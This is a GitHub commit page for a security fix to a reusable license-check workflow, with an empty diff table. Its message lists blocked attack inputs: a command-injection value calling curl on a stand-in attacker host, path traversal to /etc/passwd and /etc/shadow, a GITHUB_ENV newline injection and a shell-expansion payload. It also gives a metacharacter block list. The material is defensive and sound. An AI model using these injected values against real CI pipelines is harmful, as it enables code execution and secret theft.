Commit d8ae154
committed
security: Fix GitHub Actions input sanitization vulnerabilities in license-reusable workflow
This commit addresses critical security vulnerabilities in the license-reusable.yml
GitHub Actions workflow that could allow multiple attack vectors through unsanitized
user inputs.
Security Issues Fixed:
1. Command Injection - Direct interpolation of ${{ inputs.path }} in shell commands
2. Path Traversal - Unsanitized relative path inputs (../) accessing unintended files
3. Absolute Path Access - Paths starting with / bypassing workspace restrictions
4. GITHUB_ENV Injection - Newline characters allowing environment variable injection
5. Shell Metacharacter Injection - Various shell operators enabling code execution
Key Security Changes:
✅ Comprehensive input validation with regex blocking dangerous patterns
✅ Absolute path rejection enforcing relative-only workspace paths
✅ Newline character detection preventing GITHUB_ENV injection attacks
✅ Sanitized environment variables replacing direct input interpolation
✅ Proper shell quoting around all variable references
✅ Explicit permissions section following principle of least privilege
✅ Updated actions/cache to v4 for latest security patches
Attack Examples Blocked:
- Command injection: path="; curl http://attacker.com/steal; #"
- Path traversal: path="../../../etc/passwd"
- Absolute paths: path="/etc/shadow"
- GITHUB_ENV injection: path="module\nMALICIOUS_VAR=evil_payload"
- Shell expansion: license_allow_list="$(malicious_command)"
Validation Patterns:
- Blocks: ../, ;, |, &, $(), backticks, <, >, \n, \r, ^/, multiple spaces
- Enforces: Relative paths only, no shell metacharacters, no newlines
- Applies to: Both 'path' and 'license_allow_list' inputs
The workflow now safely validates and sanitizes all user-controlled inputs,
eliminating injection vulnerabilities and preventing CI/CD environment compromise.1 parent d0af91f commit d8ae154
1 file changed
+59
-9
lines changed| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
40 | 40 | | |
41 | 41 | | |
42 | 42 | | |
| 43 | + | |
| 44 | + | |
| 45 | + | |
| 46 | + | |
| 47 | + | |
| 48 | + | |
| 49 | + | |
| 50 | + | |
| 51 | + | |
| 52 | + | |
| 53 | + | |
| 54 | + | |
| 55 | + | |
| 56 | + | |
| 57 | + | |
| 58 | + | |
| 59 | + | |
| 60 | + | |
| 61 | + | |
| 62 | + | |
| 63 | + | |
| 64 | + | |
| 65 | + | |
| 66 | + | |
| 67 | + | |
| 68 | + | |
| 69 | + | |
| 70 | + | |
| 71 | + | |
| 72 | + | |
| 73 | + | |
| 74 | + | |
| 75 | + | |
| 76 | + | |
| 77 | + | |
| 78 | + | |
| 79 | + | |
| 80 | + | |
| 81 | + | |
| 82 | + | |
| 83 | + | |
| 84 | + | |
43 | 85 | | |
44 | 86 | | |
| 87 | + | |
| 88 | + | |
45 | 89 | | |
46 | 90 | | |
47 | | - | |
| 91 | + | |
48 | 92 | | |
49 | 93 | | |
50 | 94 | | |
| |||
66 | 110 | | |
67 | 111 | | |
68 | 112 | | |
| 113 | + | |
69 | 114 | | |
70 | 115 | | |
71 | 116 | | |
72 | 117 | | |
73 | 118 | | |
74 | | - | |
75 | | - | |
| 119 | + | |
| 120 | + | |
76 | 121 | | |
77 | 122 | | |
78 | 123 | | |
| |||
85 | 130 | | |
86 | 131 | | |
87 | 132 | | |
88 | | - | |
| 133 | + | |
| 134 | + | |
| 135 | + | |
89 | 136 | | |
90 | 137 | | |
91 | 138 | | |
92 | 139 | | |
93 | | - | |
| 140 | + | |
| 141 | + | |
94 | 142 | | |
95 | | - | |
96 | | - | |
| 143 | + | |
| 144 | + | |
97 | 145 | | |
98 | 146 | | |
99 | 147 | | |
100 | 148 | | |
101 | 149 | | |
| 150 | + | |
| 151 | + | |
102 | 152 | | |
103 | 153 | | |
104 | | - | |
105 | | - | |
| 154 | + | |
| 155 | + | |
0 commit comments